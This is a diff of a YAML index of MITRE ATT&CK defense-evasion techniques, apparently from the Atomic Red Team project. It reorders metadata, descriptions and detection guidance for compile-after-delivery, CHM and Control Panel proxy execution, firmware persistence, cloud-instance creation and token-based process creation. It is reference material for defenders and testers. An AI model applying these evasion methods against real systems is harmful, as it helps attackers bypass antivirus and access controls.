+      x_mitre_system_requirements:
+      - Compiler software (either native to the system or delivered by the adversary)
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: defense-evasion
+      id: attack-pattern--c726e0a2-a57a-4b7b-a973-d0f013246617
+      x_mitre_defense_bypassed:
+      - Signature-based detection
+      - Host intrusion prevention systems
+      - Anti-virus
+      - Binary Analysis
+      - Static File Analysis
+      x_mitre_platforms:
+      - Linux
+      - macOS
+      - Windows
+      x_mitre_is_subtechnique: true
+      x_mitre_permissions_required:
+      - User
+      description: |-
+        Adversaries may attempt to make payloads difficult to discover and analyze by delivering files to victims as uncompiled code. Text-based source code files may subvert analysis and scrutiny from protections targeting executables/binaries. These payloads will need to be compiled before execution; typically via native utilities such as csc.exe or GCC/MinGW.(Citation: ClearSky MuddyWater Nov 2018)
+
+        Source code payloads may also be encrypted, encoded, and/or embedded within other files, such as those delivered as a [Phishing](https://attack.mitre.org/techniques/T1566). Payloads may also be delivered in formats unrecognizable and inherently benign to the native OS (ex: EXEs on macOS/Linux) before later being (re)compiled into a proper executable binary with a bundled compiler and execution framework.(Citation: TrendMicro WindowsAppMac)
+      x_mitre_contributors:
+      - Praetorian
+      - Ye Yint Min Thu Htut, Offensive Security Team, DBS Bank
       x_mitre_detection: 'Monitor the execution file paths and command-line arguments
         for common compilers, such as csc.exe and GCC/MinGW, and correlate with other
         suspicious behavior to reduce false positives from normal user and administrator
@@ -23477,18 +23865,8 @@ defense-evasion:
         and execution frameworks like Mono and determine if they have a legitimate
         purpose on the system.(Citation: TrendMicro WindowsAppMac) Typically these
         should only be used in specific and limited cases, like for software development.'
-      x_mitre_defense_bypassed:
-      - Signature-based detection
-      - Host intrusion prevention systems
-      - Anti-virus
-      - Binary Analysis
-      - Static File Analysis
-      x_mitre_permissions_required:
-      - User
-      x_mitre_system_requirements:
-      - Compiler software (either native to the system or delivered by the adversary)
-      x_mitre_is_subtechnique: true
-      x_mitre_version: '1.0'
+      created: '2020-03-16T15:30:57.711Z'
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
       identifier: T1027.004
     atomic_tests:
     - name: Compile After Delivery using csc.exe
@@ -23652,64 +24030,64 @@ defense-evasion:
         name: bash
   T1218.001:
     technique:
-      id: attack-pattern--a6937325-9321-4e2e-bb2b-3ed2d40b2a9d
-      description: |-
-        Adversaries may abuse Compiled HTML files (.chm) to conceal malicious code. CHM files are commonly distributed as part of the Microsoft HTML Help system. CHM files are compressed compilations of various content such as HTML documents, images, and scripting/web related programming languages such VBA, JScript, Java, and ActiveX. (Citation: Microsoft HTML Help May 2018) CHM content is displayed using underlying components of the Internet Explorer browser (Citation: Microsoft HTML Help ActiveX) loaded by the HTML Help executable program (hh.exe). (Citation: Microsoft HTML Help Executable Program)
-
-        A custom CHM file containing embedded payloads could be delivered to a victim then triggered by [User Execution](https://attack.mitre.org/techniques/T1204). CHM execution may also bypass application application control on older and/or unpatched systems that do not account for execution of binaries through hh.exe. (Citation: MsitPros CHM Aug 2017) (Citation: Microsoft CVE-2017-8625 Aug 2017)
-      name: Compiled HTML File
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1218.001
-        url: https://attack.mitre.org/techniques/T1218/001
-      - source_name: Microsoft HTML Help May 2018
-        description: Microsoft. (2018, May 30). Microsoft HTML Help 1.4. Retrieved
-          October 3, 2018.
-        url: https://docs.microsoft.com/previous-versions/windows/desktop/htmlhelp/microsoft-html-help-1-4-sdk
-      - source_name: Microsoft HTML Help ActiveX
-        description: Microsoft. (n.d.). HTML Help ActiveX Control Overview. Retrieved
-          October 3, 2018.
-        url: https://msdn.microsoft.com/windows/desktop/ms644670
-      - source_name: Microsoft HTML Help Executable Program
-        description: Microsoft. (n.d.). About the HTML Help Executable Program. Retrieved
-          October 3, 2018.
-        url: https://msdn.microsoft.com/windows/desktop/ms524405
-      - source_name: MsitPros CHM Aug 2017
-        description: Moe, O. (2017, August 13). Bypassing Device guard UMCI using
-          CHM – CVE-2017-8625. Retrieved October 3, 2018.
-        url: https://msitpros.com/?p=3909
-      - source_name: Microsoft CVE-2017-8625 Aug 2017
-        description: Microsoft. (2017, August 8). CVE-2017-8625 - Internet Explorer
-          Security Feature Bypass Vulnerability. Retrieved October 3, 2018.
-        url: https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-8625
       type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: defense-evasion
-      modified: '2020-06-20T22:32:24.589Z'
-      created: '2020-01-23T18:53:54.377Z'
-      x_mitre_platforms:
-      - Windows
-      x_mitre_detection: |-
-        Monitor and analyze the execution and arguments of hh.exe. (Citation: MsitPros CHM Aug 2017) Compare recent invocations of hh.exe with prior history of known good arguments to determine anomalous and potentially adversarial activity (ex: obfuscated and/or malicious commands). Non-standard process execution trees may also indicate suspicious or malicious behavior, such as if hh.exe is the parent process for suspicious processes and activity relating to other adversarial techniques.
-
-        Monitor presence and use of CHM files, especially if they are not typically used within an environment.
-      x_mitre_permissions_required:
-      - User
-      x_mitre_defense_bypassed:
-      - Digital Certificate Validation
-      - Application control
-      x_mitre_is_subtechnique: true
-      x_mitre_version: '1.0'
+      name: Compiled HTML File
       x_mitre_data_sources:
       - 'Process: Process Creation'
       - 'File: File Creation'
       - 'Command: Command Execution'
+      x_mitre_version: '1.0'
+      modified: '2020-06-20T22:32:24.589Z'
+      created: '2020-01-23T18:53:54.377Z'
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: defense-evasion
+      id: attack-pattern--a6937325-9321-4e2e-bb2b-3ed2d40b2a9d
+      x_mitre_defense_bypassed:
+      - Digital Certificate Validation
+      - Application control
+      x_mitre_platforms:
+      - Windows
+      x_mitre_is_subtechnique: true
+      x_mitre_permissions_required:
+      - User
+      description: |-
+        Adversaries may abuse Compiled HTML files (.chm) to conceal malicious code. CHM files are commonly distributed as part of the Microsoft HTML Help system. CHM files are compressed compilations of various content such as HTML documents, images, and scripting/web related programming languages such VBA, JScript, Java, and ActiveX. (Citation: Microsoft HTML Help May 2018) CHM content is displayed using underlying components of the Internet Explorer browser (Citation: Microsoft HTML Help ActiveX) loaded by the HTML Help executable program (hh.exe). (Citation: Microsoft HTML Help Executable Program)
+
+        A custom CHM file containing embedded payloads could be delivered to a victim then triggered by [User Execution](https://attack.mitre.org/techniques/T1204). CHM execution may also bypass application application control on older and/or unpatched systems that do not account for execution of binaries through hh.exe. (Citation: MsitPros CHM Aug 2017) (Citation: Microsoft CVE-2017-8625 Aug 2017)
       x_mitre_contributors:
       - Rahmat Nurfauzi, @infosecn1nja, PT Xynexis International
+      x_mitre_detection: |-
+        Monitor and analyze the execution and arguments of hh.exe. (Citation: MsitPros CHM Aug 2017) Compare recent invocations of hh.exe with prior history of known good arguments to determine anomalous and potentially adversarial activity (ex: obfuscated and/or malicious commands). Non-standard process execution trees may also indicate suspicious or malicious behavior, such as if hh.exe is the parent process for suspicious processes and activity relating to other adversarial techniques.
+
+        Monitor presence and use of CHM files, especially if they are not typically used within an environment.
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1218/001
+        external_id: T1218.001
+        source_name: mitre-attack
+      - url: https://docs.microsoft.com/previous-versions/windows/desktop/htmlhelp/microsoft-html-help-1-4-sdk
+        description: Microsoft. (2018, May 30). Microsoft HTML Help 1.4. Retrieved
+          October 3, 2018.
+        source_name: Microsoft HTML Help May 2018
+      - url: https://msdn.microsoft.com/windows/desktop/ms644670
+        description: Microsoft. (n.d.). HTML Help ActiveX Control Overview. Retrieved
+          October 3, 2018.
+        source_name: Microsoft HTML Help ActiveX
+      - url: https://msdn.microsoft.com/windows/desktop/ms524405
+        description: Microsoft. (n.d.). About the HTML Help Executable Program. Retrieved
+          October 3, 2018.
+        source_name: Microsoft HTML Help Executable Program
+      - url: https://msitpros.com/?p=3909
+        description: Moe, O. (2017, August 13). Bypassing Device guard UMCI using
+          CHM – CVE-2017-8625. Retrieved October 3, 2018.
+        source_name: MsitPros CHM Aug 2017
+      - url: https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-8625
+        description: Microsoft. (2017, August 8). CVE-2017-8625 - Internet Explorer
+          Security Feature Bypass Vulnerability. Retrieved October 3, 2018.
+        source_name: Microsoft CVE-2017-8625 Aug 2017
       identifier: T1218.001
     atomic_tests:
     - name: Compiled HTML Help Local Payload
@@ -23927,62 +24305,88 @@ defense-evasion:
         name: powershell
   T1542.002:
     technique:
-      created: '2019-12-19T20:21:21.669Z'
+      type: attack-pattern
       modified: '2020-03-23T23:48:33.904Z'
+      name: Component Firmware
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1542/002
+        external_id: T1542.002
+        source_name: mitre-attack
+      - description: SanDisk. (n.d.). Self-Monitoring, Analysis and Reporting Technology
+          (S.M.A.R.T.). Retrieved October 2, 2018.
+        source_name: SanDisk SMART
+      - source_name: SmartMontools
+        description: smartmontools. (n.d.). smartmontools. Retrieved October 2, 2018.
+        url: https://www.smartmontools.org/
+      - source_name: ITWorld Hard Disk Health Dec 2014
+        description: Pinola, M. (2014, December 14). 3 tools to check your hard drive's
+          health and make sure it's not already dying on you. Retrieved October 2,
+          2018.
+        url: https://www.itworld.com/article/2853992/3-tools-to-check-your-hard-drives-health-and-make-sure-its-not-already-dying-on-you.html
+      x_mitre_data_sources:
+      - 'Driver: Driver Metadata'
+      - 'Firmware: Firmware Modification'
+      - 'Process: OS API Execution'
+      x_mitre_version: '1.0'
+      x_mitre_system_requirements:
+      - Ability to update component device firmware from the host operating system.
+      id: attack-pattern--791481f8-e96a-41be-b089-a088763083d4
+      x_mitre_defense_bypassed:
+      - Anti-virus
+      - Host intrusion prevention systems
+      - File monitoring
+      x_mitre_platforms:
+      - Windows
+      x_mitre_is_subtechnique: true
+      x_mitre_permissions_required:
+      - SYSTEM
+      description: |-
+        Adversaries may modify component firmware to persist on systems. Some adversaries may employ sophisticated means to compromise computer components and install malicious firmware that will execute adversary code outside of the operating system and main system firmware or BIOS. This technique may be similar to [System Firmware](https://attack.mitre.org/techniques/T1542/001) but conducted upon other system components/devices that may not have the same capability or level of integrity checking.
+
+        Malicious component firmware could provide both a persistent level of access to systems despite potential typical failures to maintain access and hard disk re-images, as well as a way to evade host software-based defenses and integrity checks.
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: persistence
       - kill_chain_name: mitre-attack
         phase_name: defense-evasion
-      type: attack-pattern
-      id: attack-pattern--791481f8-e96a-41be-b089-a088763083d4
-      description: |-
-        Adversaries may modify component firmware to persist on systems. Some adversaries may employ sophisticated means to compromise computer components and install malicious firmware that will execute adversary code outside of the operating system and main system firmware or BIOS. This technique may be similar to [System Firmware](https://attack.mitre.org/techniques/T1542/001) but conducted upon other system components/devices that may not have the same capability or level of integrity checking.
-
-        Malicious component firmware could provide both a persistent level of access to systems despite potential typical failures to maintain access and hard disk re-images, as well as a way to evade host software-based defenses and integrity checks.
-      name: Component Firmware
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      object_marking_refs:
-      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1542.002
-        url: https://attack.mitre.org/techniques/T1542/002
-      - description: SanDisk. (n.d.). Self-Monitoring, Analysis and Reporting Technology
-          (S.M.A.R.T.). Retrieved October 2, 2018.
-        source_name: SanDisk SMART
-      - url: https://www.smartmontools.org/
-        description: smartmontools. (n.d.). smartmontools. Retrieved October 2, 2018.
-        source_name: SmartMontools
-      - url: https://www.itworld.com/article/2853992/3-tools-to-check-your-hard-drives-health-and-make-sure-its-not-already-dying-on-you.html
-        description: Pinola, M. (2014, December 14). 3 tools to check your hard drive's
-          health and make sure it's not already dying on you. Retrieved October 2,
-          2018.
-        source_name: ITWorld Hard Disk Health Dec 2014
-      x_mitre_platforms:
-      - Windows
-      x_mitre_data_sources:
-      - 'Driver: Driver Metadata'
-      - 'Firmware: Firmware Modification'
-      - 'Process: OS API Execution'
       x_mitre_detection: |-
         Data and telemetry from use of device drivers (i.e. processes and API calls) and/or provided by SMART (Self-Monitoring, Analysis and Reporting Technology) (Citation: SanDisk SMART) (Citation: SmartMontools) disk monitoring may reveal malicious manipulations of components. Otherwise, this technique may be difficult to detect since malicious activity is taking place on system components possibly outside the purview of OS security and integrity mechanisms.
 
         Disk check and forensic utilities (Citation: ITWorld Hard Disk Health Dec 2014) may reveal indicators of malicious firmware such as strings, unexpected disk partition table entries, or blocks of otherwise unusual memory that warrant deeper investigation. Also consider comparing components, including hashes of component firmware and behavior, against known good images.
-      x_mitre_defense_bypassed:
-      - Anti-virus
-      - Host intrusion prevention systems
-      - File monitoring
-      x_mitre_permissions_required:
-      - SYSTEM
-      x_mitre_system_requirements:
-      - Ability to update component device firmware from the host operating system.
-      x_mitre_is_subtechnique: true
-      x_mitre_version: '1.0'
+      created: '2019-12-19T20:21:21.669Z'
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
     atomic_tests: []
   T1218.002:
     technique:
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
+      type: attack-pattern
+      name: Control Panel
+      x_mitre_data_sources:
+      - 'Process: Process Creation'
+      - 'File: File Creation'
+      - 'Module: Module Load'
+      - 'Process: OS API Execution'
+      - 'Command: Command Execution'
+      - 'Windows Registry: Windows Registry Key Modification'
+      x_mitre_version: '1.1'
+      modified: '2020-10-21T18:37:11.672Z'
+      created: '2020-01-23T19:59:52.630Z'
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: defense-evasion
       id: attack-pattern--4ff5d6a8-c062-4c68-a778-36fc5edd564f
+      x_mitre_defense_bypassed:
+      - Application control
+      x_mitre_platforms:
+      - Windows
+      x_mitre_is_subtechnique: true
+      x_mitre_permissions_required:
+      - User
+      - Administrator
+      - SYSTEM
       description: |-
         Adversaries may abuse control.exe to proxy execution of malicious payloads. The Windows Control Panel process binary (control.exe) handles execution of Control Panel items, which are utilities that allow users to view and adjust computer settings.
 
@@ -23991,51 +24395,8 @@ defense-evasion:
         Malicious Control Panel items can be delivered via [Phishing](https://attack.mitre.org/techniques/T1566) campaigns(Citation: TrendMicro CPL Malware Jan 2014)(Citation: TrendMicro CPL Malware Dec 2013) or executed as part of multi-stage malware.(Citation: Palo Alto Reaver Nov 2017) Control Panel items, specifically CPL files, may also bypass application and/or file extension allow lists.
 
         Adversaries may also rename malicious DLL files (.dll) with Control Panel file extensions (.cpl) and register them to <code>HKCU\Software\Microsoft\Windows\CurrentVersion\Control Panel\Cpls</code>. Even when these registered DLLs do not comply with the CPL file specification and do not export <code>CPlApplet</code> functions, they are loaded and executed through its <code>DllEntryPoint</code> when Control Panel is executed. CPL files not exporting <code>CPlApplet</code> are not directly executable.(Citation: ESET InvisiMole June 2020)
-      name: Control Panel
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      object_marking_refs:
-      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1218.002
-        url: https://attack.mitre.org/techniques/T1218/002
-      - source_name: Microsoft Implementing CPL
-        description: M. (n.d.). Implementing Control Panel Items. Retrieved January
-          18, 2018.
-        url: https://msdn.microsoft.com/library/windows/desktop/cc144185.aspx
-      - url: https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-cpl-malware.pdf
-        description: Mercês, F. (2014, January 27). CPL Malware - Malicious Control
-          Panel Items. Retrieved January 18, 2018.
-        source_name: TrendMicro CPL Malware Jan 2014
-      - url: https://blog.trendmicro.com/trendlabs-security-intelligence/control-panel-files-used-as-malicious-attachments/
-        description: Bernardino, J. (2013, December 17). Control Panel Files Used
-          As Malicious Attachments. Retrieved January 18, 2018.
-        source_name: TrendMicro CPL Malware Dec 2013
-      - url: https://researchcenter.paloaltonetworks.com/2017/11/unit42-new-malware-with-ties-to-sunorcal-discovered/
-        description: Grunzweig, J. and Miller-Osborn, J. (2017, November 10). New
-          Malware with Ties to SunOrcal Discovered. Retrieved November 16, 2017.
-        source_name: Palo Alto Reaver Nov 2017
-      - source_name: ESET InvisiMole June 2020
-        url: https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf
-        description: 'Hromcova, Z. and Cherpanov, A. (2020, June). INVISIMOLE: THE
-          HIDDEN PART OF THE STORY. Retrieved July 16, 2020.'
-      type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: defense-evasion
-      modified: '2020-10-21T18:37:11.672Z'
-      created: '2020-01-23T19:59:52.630Z'
       x_mitre_contributors:
       - ESET
-      x_mitre_platforms:
-      - Windows
-      x_mitre_data_sources:
-      - 'Process: Process Creation'
-      - 'File: File Creation'
-      - 'Module: Module Load'
-      - 'Process: OS API Execution'
-      - 'Command: Command Execution'
-      - 'Windows Registry: Windows Registry Key Modification'
       x_mitre_detection: |-
         Monitor and analyze activity related to items associated with CPL files, such as the control.exe and the <code>Control_RunDLL</code> and <code>ControlRunDLLAsUser</code> API functions in shell32.dll. When executed from the command line or clicked, control.exe will execute the CPL file (ex: <code>control.exe file.cpl</code>) before [Rundll32](https://attack.mitre.org/techniques/T1218/011) is used to call the CPL's API functions (ex: <code>rundll32.exe shell32.dll,Control_RunDLL file.cpl</code>). CPL files can be executed directly via the CPL API function with just the latter [Rundll32](https://attack.mitre.org/techniques/T1218/011) command, which may bypass detections and/or execution filters for control.exe.(Citation: TrendMicro CPL Malware Jan 2014)
 
@@ -24046,14 +24407,31 @@ defense-evasion:
         * Some Control Panel items are extensible via Shell extensions registered in <code>HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Controls Folder\{name}\Shellex\PropertySheetHandlers</code> where {name} is the predefined name of the system item.(Citation: Microsoft Implementing CPL)
 
         Analyze new Control Panel items as well as those present on disk for malicious content. Both executable and CPL formats are compliant Portable Executable (PE) images and can be examined using traditional tools and methods, pending anti-reverse-engineering techniques.(Citation: TrendMicro CPL Malware Jan 2014)
-      x_mitre_defense_bypassed:
-      - Application control
-      x_mitre_permissions_required:
-      - User
-      - Administrator
-      - SYSTEM
-      x_mitre_is_subtechnique: true
-      x_mitre_version: '1.1'
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1218/002
+        external_id: T1218.002
+        source_name: mitre-attack
+      - url: https://msdn.microsoft.com/library/windows/desktop/cc144185.aspx
+        description: M. (n.d.). Implementing Control Panel Items. Retrieved January
+          18, 2018.
+        source_name: Microsoft Implementing CPL
+      - source_name: TrendMicro CPL Malware Jan 2014
+        description: Mercês, F. (2014, January 27). CPL Malware - Malicious Control
+          Panel Items. Retrieved January 18, 2018.
+        url: https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-cpl-malware.pdf
+      - source_name: TrendMicro CPL Malware Dec 2013
+        description: Bernardino, J. (2013, December 17). Control Panel Files Used
+          As Malicious Attachments. Retrieved January 18, 2018.
+        url: https://blog.trendmicro.com/trendlabs-security-intelligence/control-panel-files-used-as-malicious-attachments/
+      - source_name: Palo Alto Reaver Nov 2017
+        description: Grunzweig, J. and Miller-Osborn, J. (2017, November 10). New
+          Malware with Ties to SunOrcal Discovered. Retrieved November 16, 2017.
+        url: https://researchcenter.paloaltonetworks.com/2017/11/unit42-new-malware-with-ties-to-sunorcal-discovered/
+      - url: https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf
+        description: 'Hromcova, Z. and Cherpanov, A. (2020, June). INVISIMOLE: THE
+          HIDDEN PART OF THE STORY. Retrieved July 16, 2020.'
+        source_name: ESET InvisiMole June 2020
       identifier: T1218.002
     atomic_tests:
     - name: Control Panel Items
@@ -24086,99 +24464,102 @@ defense-evasion:
         name: command_prompt
   T1578.002:
     technique:
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
+      type: attack-pattern
+      name: Create Cloud Instance
+      x_mitre_data_sources:
+      - 'Instance: Instance Creation'
+      x_mitre_version: '1.1'
+      modified: '2021-03-08T10:33:02.034Z'
+      created: '2020-05-14T14:45:15.978Z'
+      x_mitre_permissions_required:
+      - User
+      x_mitre_platforms:
+      - IaaS
+      x_mitre_is_subtechnique: true
       id: attack-pattern--cf1c2504-433f-4c4e-a1f8-91de45a0318c
       description: |-
         An adversary may create a new instance or virtual machine (VM) within the compute service of a cloud account to evade defenses. Creating a new instance may allow an adversary to bypass firewall rules and permissions that exist on instances currently residing within an account. An adversary may [Create Snapshot](https://attack.mitre.org/techniques/T1578/001) of one or more volumes in an account, create a new instance, mount the snapshots, and then apply a less restrictive security policy to collect [Data from Local System](https://attack.mitre.org/techniques/T1005) or for [Remote Data Staging](https://attack.mitre.org/techniques/T1074/002).(Citation: Mandiant M-Trends 2020)
 
         Creating a new instance may also allow an adversary to carry out malicious activity within an environment without affecting the execution of current running instances.
-      name: Create Cloud Instance
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      object_marking_refs:
-      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1578.002
-        url: https://attack.mitre.org/techniques/T1578/002
-      - source_name: Mandiant M-Trends 2020
-        url: https://content.fireeye.com/m-trends/rpt-m-trends-2020
-        description: Mandiant. (2020, February). M-Trends 2020. Retrieved April 24,
-          2020.
-      - source_name: AWS CloudTrail Search
-        url: https://aws.amazon.com/premiumsupport/knowledge-center/cloudtrail-search-api-calls/
-        description: Amazon. (n.d.). Search CloudTrail logs for API calls to EC2 Instances.
-          Retrieved June 17, 2020.
-      - source_name: Azure Activity Logs
-        url: https://docs.microsoft.com/en-us/azure/azure-resource-manager/management/view-activity-logs
-        description: Microsoft. (n.d.). View Azure activity logs. Retrieved June 17,
-          2020.
-      - source_name: Cloud Audit Logs
-        url: https://cloud.google.com/logging/docs/audit#admin-activity
-        description: Google. (n.d.). Audit Logs. Retrieved June 1, 2020.
-      type: attack-pattern
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: defense-evasion
-      modified: '2021-03-08T10:33:02.034Z'
-      created: '2020-05-14T14:45:15.978Z'
-      x_mitre_platforms:
-      - IaaS
-      x_mitre_data_sources:
-      - 'Instance: Instance Creation'
-      x_mitre_permissions_required:
-      - User
-      x_mitre_is_subtechnique: true
-      x_mitre_version: '1.1'
       x_mitre_detection: |-
         The creation of a new instance or VM is a common part of operations within many cloud environments. Events should then not be viewed in isolation, but as part of a chain of behavior that could lead to other activities. For example, the creation of an instance by a new user account or the unexpected creation of one or more snapshots followed by the creation of an instance may indicate suspicious activity.
 
         In AWS, CloudTrail logs capture the creation of an instance in the <code>RunInstances</code> event, and in Azure the creation of a VM may be captured in Azure activity logs.(Citation: AWS CloudTrail Search)(Citation: Azure Activity Logs) Google's Admin Activity audit logs within their Cloud Audit logs can be used to detect the usage of <code>gcloud compute instances create</code> to create a VM.(Citation: Cloud Audit Logs)
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1578/002
+        external_id: T1578.002
+        source_name: mitre-attack
+      - url: https://content.fireeye.com/m-trends/rpt-m-trends-2020
+        description: Mandiant. (2020, February). M-Trends 2020. Retrieved April 24,
+          2020.
+        source_name: Mandiant M-Trends 2020
+      - url: https://aws.amazon.com/premiumsupport/knowledge-center/cloudtrail-search-api-calls/
+        description: Amazon. (n.d.). Search CloudTrail logs for API calls to EC2 Instances.
+          Retrieved June 17, 2020.
+        source_name: AWS CloudTrail Search
+      - url: https://docs.microsoft.com/en-us/azure/azure-resource-manager/management/view-activity-logs
+        description: Microsoft. (n.d.). View Azure activity logs. Retrieved June 17,
+          2020.
+        source_name: Azure Activity Logs
+      - url: https://cloud.google.com/logging/docs/audit#admin-activity
+        description: Google. (n.d.). Audit Logs. Retrieved June 1, 2020.
+        source_name: Cloud Audit Logs
     atomic_tests: []
   T1134.002:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1134.002
-        url: https://attack.mitre.org/techniques/T1134/002
-      - url: https://technet.microsoft.com/en-us/windows-server-docs/identity/ad-ds/manage/component-updates/command-line-process-auditing
-        description: Mathers, B. (2017, March 7). Command line process auditing. Retrieved
-          April 21, 2017.
-        source_name: Microsoft Command-line Logging
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      name: Create Process with Token
-      description: Adversaries may create a new process with a duplicated token to
-        escalate privileges and bypass access controls. An adversary can duplicate
-        a desired access token with <code>DuplicateToken(Ex)</code> and use it with
-        <code>CreateProcessWithTokenW</code> to create a new process running under
-        the security context of the impersonated user. This is useful for creating
-        a new process under the security context of a different user.
-      id: attack-pattern--677569f9-a8b0-459e-ab24-7f18091fa7bf
       type: attack-pattern
+      name: Create Process with Token
+      x_mitre_data_sources:
+      - 'Process: OS API Execution'
+      - 'Command: Command Execution'
+      x_mitre_version: '1.1'
+      modified: '2021-10-17T14:51:48.978Z'
+      created: '2020-02-18T16:48:56.582Z'
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: defense-evasion
       - kill_chain_name: mitre-attack
         phase_name: privilege-escalation
-      modified: '2020-03-26T21:28:19.476Z'
-      created: '2020-02-18T16:48:56.582Z'
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: true
       x_mitre_defense_bypassed:
       - Windows User Account Control
       - System access controls
       - File system access controls
-      x_mitre_detection: |-
-        If an adversary is using a standard command-line shell, analysts can detect token manipulation by auditing command-line activity. Specifically, analysts should look for use of the <code>runas</code> command. Detailed command-line logging is not enabled by default in Windows.(Citation: Microsoft Command-line Logging)
-
-        If an adversary is using a payload that calls the Windows token APIs directly, analysts can detect token manipulation only through careful analysis of user network activity, examination of running processes, and correlation with other endpoint and network behavior.
-
-        Analysts can also monitor for use of Windows APIs such as <code>DuplicateToken(Ex)</code> and <code>CreateProcessWithTokenW</code> and correlate activity with other suspicious behavior to reduce false positives that may be due to normal benign use by users and administrators.
-      x_mitre_data_sources:
-      - 'Process: OS API Execution'
-      - 'Command: Command Execution'
       x_mitre_platforms:
       - Windows
+      x_mitre_is_subtechnique: true
+      id: attack-pattern--677569f9-a8b0-459e-ab24-7f18091fa7bf
+      description: |-
+        Adversaries may create a new process with a different token to escalate privileges and bypass access controls. Processes can be created with the token and resulting security context of another user using features such as <code>CreateProcessWithTokenW</code> and <code>runas</code>.(Citation: Microsoft RunAs)
+
+        Creating processes with a different token may require the credentials of the target user, specific privileges to impersonate that user, or access to the token to be used (ex: gathered via other means such as [Token Impersonation/Theft](https://attack.mitre.org/techniques/T1134/001) or [Make and Impersonate Token](https://attack.mitre.org/techniques/T1134/003)).
+      x_mitre_contributors:
+      - Vadim Khrykov
+      x_mitre_detection: |-
+        If an adversary is using a standard command-line shell (i.e. [Windows Command Shell](https://attack.mitre.org/techniques/T1059/003)), analysts may detect token manipulation by auditing command-line activity. Specifically, analysts should look for use of the <code>runas</code> command or similar artifacts. Detailed command-line logging is not enabled by default in Windows.(Citation: Microsoft Command-line Logging)
+
+        If an adversary is using a payload that calls the Windows token APIs directly, analysts may detect token manipulation only through careful analysis of user activity, examination of running processes, and correlation with other endpoint and network behavior.
+
+        Analysts can also monitor for use of Windows APIs such as <code>CreateProcessWithTokenW</code> and correlate activity with other suspicious behavior to reduce false positives that may be due to normal benign use by users and administrators.
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1134/002
+        external_id: T1134.002
+        source_name: mitre-attack
+      - url: https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc771525(v=ws.11)
+        description: Microsoft. (2016, August 31). Runas. Retrieved October 1, 2021.
+        source_name: Microsoft RunAs
+      - source_name: Microsoft Command-line Logging
+        description: Mathers, B. (2017, March 7). Command line process auditing. Retrieved
+          April 21, 2017.
+        url: https://technet.microsoft.com/en-us/windows-server-docs/identity/ad-ds/manage/component-updates/command-line-process-auditing
       identifier: T1134.002
     atomic_tests:
     - name: Access Token Manipulation
@@ -24202,48 +24583,30 @@ defense-evasion:
         elevation_required: true
   T1578.001:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1578.001
-        url: https://attack.mitre.org/techniques/T1578/001
-      - source_name: Mandiant M-Trends 2020
-        url: https://content.fireeye.com/m-trends/rpt-m-trends-2020
-        description: Mandiant. (2020, February). M-Trends 2020. Retrieved April 24,
-          2020.
-      - source_name: AWS Cloud Trail Backup API
-        url: https://docs.aws.amazon.com/aws-backup/latest/devguide/logging-using-cloudtrail.html
-        description: Amazon. (2020). Logging AWS Backup API Calls with AWS CloudTrail.
-          Retrieved April 27, 2020.
-      - source_name: Azure - Monitor Logs
-        url: https://docs.microsoft.com/en-us/azure/backup/backup-azure-monitoring-use-azuremonitor
-        description: Microsoft. (2019, June 4). Monitor at scale by using Azure Monitor.
-          Retrieved May 1, 2020.
-      - source_name: Cloud Audit Logs
-        url: https://cloud.google.com/logging/docs/audit#admin-activity
